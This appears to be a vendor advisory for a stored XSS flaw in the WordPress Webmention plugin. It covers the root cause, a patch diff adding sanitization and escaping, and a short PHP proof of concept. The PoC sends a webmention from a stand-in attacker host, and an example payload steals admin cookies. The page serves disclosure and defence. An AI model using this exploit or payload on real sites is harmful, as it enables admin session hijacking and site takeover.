Published : July 4, 2026

CVE-2026-10513: Webmention <= 5.8.0 Unauthenticated Stored Cross-Site Scripting via MF2 'photo'/'url' Author Properties PoC, Patch Analysis & Rule

Plugin webmention
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.8.0
Patched Version 5.8.1
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-10513:

This vulnerability allows unauthenticated stored cross-site scripting (XSS) in the Webmention plugin for WordPress versions up to and including 5.8.0. The flaw exists in the plugin’s handling of MF2 author metadata (specifically ‘photo’ and ‘url’ properties) submitted via the unauthenticated webmention REST endpoint. The CVSS score is 7.2 (High), and the CWE is 79 (Improper Neutralization of Input During Web Page Generation).

The root cause is insufficient input sanitization and output escaping on two code paths. First, in webmention/includes/class-receiver.php (lines 68-131), the plugin registers comment meta fields (‘url’ and ‘avatar’) using register_meta() but omits sanitize_callback parameters, allowing arbitrary strings to be stored. Second, in webmention/templates/edit-comment-form.php (lines 7-19), the plugin outputs these meta values directly into HTML ‘value’ attributes using get_comment_meta() without esc_attr() or esc_url() wrappers. Specifically, line 7 outputs the ‘avatar’ meta and line 16 outputs the ‘url’ meta into disabled input fields. The vulnerable template is loaded when a privileged user (moderator or administrator) accesses the WordPress comment edit screen for a webmention comment.

An unauthenticated attacker can exploit this by sending a crafted webmention request to the WordPress REST API endpoint at /wp-json/webmention/1.0/endpoint. The attacker includes malicious JavaScript in the MF2 author ‘photo’ or ‘url’ properties. For example, sending a POST with source URL pointing to an attacker-controlled page that contains MF2 microformats with author photo set to ‘”‘>‘ will cause the plugin to process and store this payload as comment meta. When a WordPress administrator later edits that comment, the injected script executes in the admin’s browser context.

The patch addresses the vulnerability at two levels. In class-receiver.php, the patch adds ‘sanitize_callback’ => ‘esc_url_raw’ to the register_meta() calls for ‘url’, ‘avatar’, ‘webmention_target_url’, ‘webmention_source_url’, and ‘webmention_vouch_url’ meta fields. This ensures that only URLs (or empty strings) are stored in the database, stripping any XSS payloads at the point of input. In edit-comment-form.php, the patch wraps all get_comment_meta() outputs with esc_url() (for URL-expected fields) or esc_attr() (for other text fields), preventing stored malicious content from being interpreted as HTML even if it bypassed input sanitization.

If successfully exploited, an attacker can execute arbitrary JavaScript in the WordPress admin panel context. This enables privilege escalation attacks: session hijacking, administrative user creation, plugin/theme installation and activation, site configuration modification, and full site takeover. The attack requires no authentication and the payload persists until a privileged user views the edit-comment screen, making it a high-impact vulnerability in WordPress ecosystems where webmention functionality is enabled.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/webmention/includes/class-receiver.php
+++ b/webmention/includes/class-receiver.php
@@ -68,27 +68,30 @@
 			);
 		}
 		$args = array(
-			'type'         => 'string',
-			'description'  => esc_html__( 'Protocol Used to Receive', 'webmention' ),
-			'single'       => true,
-			'show_in_rest' => true,
+			'type'              => 'string',
+			'description'       => esc_html__( 'Protocol Used to Receive', 'webmention' ),
+			'single'            => true,
+			'show_in_rest'      => true,
+			'sanitize_callback' => 'sanitize_key',
 		);
 		register_meta( 'comment', 'protocol', $args );

 		$args = array(
-			'type'         => 'string',
-			'description'  => esc_html__( 'Target URL for the Webmention', 'webmention' ),
-			'single'       => true,
-			'show_in_rest' => true,
+			'type'              => 'string',
+			'description'       => esc_html__( 'Target URL for the Webmention', 'webmention' ),
+			'single'            => true,
+			'show_in_rest'      => true,
+			'sanitize_callback' => 'esc_url_raw',
 		);
 		register_meta( 'comment', 'webmention_target_url', $args );

 		// For pingbacks the source URL is stored in the author URL. This means you cannot have an author URL that is different than the source.
 		$args = array(
-			'type'         => 'string',
-			'description'  => esc_html__( 'Source URL for the Webmention', 'webmention' ),
-			'single'       => true,
-			'show_in_rest' => true,
+			'type'              => 'string',
+			'description'       => esc_html__( 'Source URL for the Webmention', 'webmention' ),
+			'single'            => true,
+			'show_in_rest'      => true,
+			'sanitize_callback' => 'esc_url_raw',
 		);
 		register_meta( 'comment', 'webmention_source_url', $args );

@@ -102,10 +105,11 @@

 		// Purpose of this is to store the original time as there is no modified time in the comment table.
 		$args = array(
-			'type'         => 'string',
-			'description'  => esc_html__( 'Last Modified Time for the Webmention (GMT)', 'webmention' ),
-			'single'       => true,
-			'show_in_rest' => true,
+			'type'              => 'string',
+			'description'       => esc_html__( 'Last Modified Time for the Webmention (GMT)', 'webmention' ),
+			'single'            => true,
+			'show_in_rest'      => true,
+			'sanitize_callback' => 'sanitize_text_field',
 		);
 		register_meta( 'comment', 'webmention_last_modified', $args );

@@ -120,26 +124,29 @@

 		// Purpose of this is to store a vouch URL
 		$args = array(
-			'type'         => 'string',
-			'description'  => esc_html__( 'Webmention Vouch URL', 'webmention' ),
-			'single'       => true,
-			'show_in_rest' => true,
+			'type'              => 'string',
+			'description'       => esc_html__( 'Webmention Vouch URL', 'webmention' ),
+			'single'            => true,
+			'show_in_rest'      => true,
+			'sanitize_callback' => 'esc_url_raw',
 		);
 		register_meta( 'comment', 'webmention_vouch_url', $args );

 		$args = array(
-			'type'         => 'string',
-			'description'  => esc_html__( 'Canonical URL for the Webmention', 'webmention' ),
-			'single'       => true,
-			'show_in_rest' => true,
+			'type'              => 'string',
+			'description'       => esc_html__( 'Canonical URL for the Webmention', 'webmention' ),
+			'single'            => true,
+			'show_in_rest'      => true,
+			'sanitize_callback' => 'esc_url_raw',
 		);
 		register_meta( 'comment', 'url', $args );

 		$args = array(
-			'type'         => 'string',
-			'description'  => esc_html__( 'Avatar URL', 'webmention' ),
-			'single'       => true,
-			'show_in_rest' => true,
+			'type'              => 'string',
+			'description'       => esc_html__( 'Avatar URL', 'webmention' ),
+			'single'            => true,
+			'show_in_rest'      => true,
+			'sanitize_callback' => 'esc_url_raw',
 		);
 		register_meta( 'comment', 'avatar', $args );
 	}
--- a/webmention/templates/api-message.php
+++ b/webmention/templates/api-message.php
@@ -116,7 +116,7 @@
 	</style>
 	</head>
 	<body id="webmention-endpint-page">
-		<p><?php echo $data['message']; ?></p>
+		<p><?php echo esc_html( $data['message'] ); ?></p>

 		<p id="backtoblog"><a href="<?php echo esc_url( home_url( '/' ) ); ?>">
 			<?php
--- a/webmention/templates/comment-form.php
+++ b/webmention/templates/comment-form.php
@@ -4,7 +4,7 @@
  */
 do_action( 'webmention_comment_form_template_before' );
 ?>
-<form id="webmention-form" action="<?php echo get_webmention_endpoint(); ?>" method="post">
+<form id="webmention-form" action="<?php echo esc_url( get_webmention_endpoint() ); ?>" method="post">
 	<p id="webmention-source-description">
 		<?php echo get_webmention_form_text( get_the_ID() ); ?>
 	</p>
--- a/webmention/templates/comment.php
+++ b/webmention/templates/comment.php
@@ -45,7 +45,7 @@
 		<script type="text/javascript">
 			<!--
 			// redirect to comment-page and scroll to comment
-			window.location = "<?php echo get_permalink( $comment->comment_post_ID ) . '#comment-' . $comment->comment_ID; ?>";
+			window.location = "<?php echo esc_url( get_permalink( $comment->comment_post_ID ) . '#comment-' . $comment->comment_ID ); ?>";
 			//–>
 		</script>
 	</head>
@@ -73,7 +73,7 @@
 					</time></a>
 					<ul>
 					<?php if ( $target ) { ?>
-						<li><a href="<?php echo $target; ?>" rel="in-reply-to" class="u-in-reply-to u-reply-of"><?php echo $target; ?></a></li>
+						<li><a href="<?php echo esc_url( $target ); ?>" rel="in-reply-to" class="u-in-reply-to u-reply-of"><?php echo esc_html( $target ); ?></a></li>
 					<?php } ?>
 					</ul>
 				</footer>
--- a/webmention/templates/comments.php
+++ b/webmention/templates/comments.php
@@ -18,7 +18,7 @@
 	}
 	?>

-<h2><?php echo get_webmention_comment_type_attr( $mention_type, 'label' ); ?></h2>
+<h2><?php echo esc_html( get_webmention_comment_type_attr( $mention_type, 'label' ) ); ?></h2>
 <ul class="reaction-list reaction-list--<?php echo esc_attr( $mention_type ); ?>">
 	<?php
 	if ( ( $fold_limit > 0 ) && $fold_limit < count( $mentions ) ) {
--- a/webmention/templates/edit-comment-form.php
+++ b/webmention/templates/edit-comment-form.php
@@ -1,25 +1,25 @@
 <?php global $comment; ?>
 <label><?php esc_html_e( 'Comment Type', 'webmention' ); ?></label>
-<input type="url" class="widefat" disabled value="<?php echo get_webmention_comment_type_string( $comment ); ?>" />
+<input type="url" class="widefat" disabled value="<?php echo esc_attr( get_webmention_comment_type_string( $comment ) ); ?>" />
 <br />
 <?php if ( 'webmention' === get_comment_meta( $comment->comment_ID, 'protocol', true ) ) { ?>
 	<label><?php esc_html_e( 'Target', 'webmention' ); ?></label>
-	<input type="url" class="widefat" disabled value="<?php echo get_comment_meta( $comment->comment_ID, 'webmention_target_url', true ); ?>" />
+	<input type="url" class="widefat" disabled value="<?php echo esc_url( get_comment_meta( $comment->comment_ID, 'webmention_target_url', true ) ); ?>" />
 	<br />

 	<label><?php esc_html_e( 'Source', 'webmention' ); ?></label>
-	<input type="url" class="widefat" disabled value="<?php echo get_comment_meta( $comment->comment_ID, 'webmention_source_url', true ); ?>" />
+	<input type="url" class="widefat" disabled value="<?php echo esc_url( get_comment_meta( $comment->comment_ID, 'webmention_source_url', true ) ); ?>" />
 	<br />

 	<label><?php esc_html_e( 'Avatar', 'webmention' ); ?></label>
-	<input type="url" class="widefat" disabled value="<?php echo get_comment_meta( $comment->comment_ID, 'avatar', true ); ?>" />
+	<input type="url" class="widefat" disabled value="<?php echo esc_url( get_comment_meta( $comment->comment_ID, 'avatar', true ) ); ?>" />
 	<br />

 	<label><?php esc_html_e( 'Canonical URL', 'webmention' ); ?></label>
-	<input type="url" class="widefat" disabled value="<?php echo get_comment_meta( $comment->comment_ID, 'url', true ); ?>" />
+	<input type="url" class="widefat" disabled value="<?php echo esc_url( get_comment_meta( $comment->comment_ID, 'url', true ) ); ?>" />
 	<br />

 	<label><?php esc_html_e( 'Creation Time', 'webmention' ); ?></label>
-	<input type="url" class="widefat" disabled value="<?php echo get_comment_meta( $comment->comment_ID, 'webmention_created_at', true ); ?>" />
+	<input type="url" class="widefat" disabled value="<?php echo esc_attr( get_comment_meta( $comment->comment_ID, 'webmention_created_at', true ) ); ?>" />
 	<br />
 <?php } ?>
--- a/webmention/templates/endpoint-form.php
+++ b/webmention/templates/endpoint-form.php
@@ -123,7 +123,7 @@

 		<?php do_action( 'webmention_endpoint_form_before_form' ); ?>

-		<form id="webmention-form" action="<?php echo get_webmention_endpoint(); ?>" method="post">
+		<form id="webmention-form" action="<?php echo esc_url( get_webmention_endpoint() ); ?>" method="post">
 			<?php do_action( 'webmention_endpoint_form_before_input_fields' ); ?>
 			<p>
 				<label for="webmention-source"><?php esc_html_e( 'Source URL', 'webmention' ); ?>:</label><br />
--- a/webmention/webmention.php
+++ b/webmention/webmention.php
@@ -5,7 +5,7 @@
  * Description: Webmention support for WordPress posts
  * Author: Matthias Pfefferle
  * Author URI: https://notiz.blog/
- * Version: 5.8.0
+ * Version: 5.8.1
  * Requires at least: 6.2
  * Requires PHP: 7.4
  * License: MIT
@@ -16,7 +16,7 @@

 namespace Webmention;

-define( 'WEBMENTION_VERSION', '5.8.0' );
+define( 'WEBMENTION_VERSION', '5.8.1' );

 define( 'WEBMENTION_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
 define( 'WEBMENTION_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-10513 - Webmention <= 5.8.0 - Unauthenticated Stored XSS via MF2 'photo'/'url' Author Properties

$target_url = 'http://example.com'; // CHANGE THIS to your target WordPress site

// Step 1: Set up the attack parameters
// The attacker crafts a webmention source URL that returns MF2 microformats with malicious author photo
$attacker_source = 'http://attacker-controlled.example.com/webmention-source'; // Must serve a page with MF2 microformats

// Step 2: Send the webmention request to the unauthenticated REST endpoint
$webmention_endpoint = $target_url . '/wp-json/webmention/1.0/endpoint';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $webmention_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'source' => $attacker_source,
    'target' => $target_url . '/?p=1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body: " . $response . "n";
echo "n[+] Webmention sent. If successful, the XSS payload is now stored in the comment meta.n";
echo "[+] An administrator viewing the edit-comment screen for the new webmention comment will execute the payload.n";
echo "[+] Payload example: '"'><script>alert(document.cookie)</script>' in the MF2 author 'photo' property.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.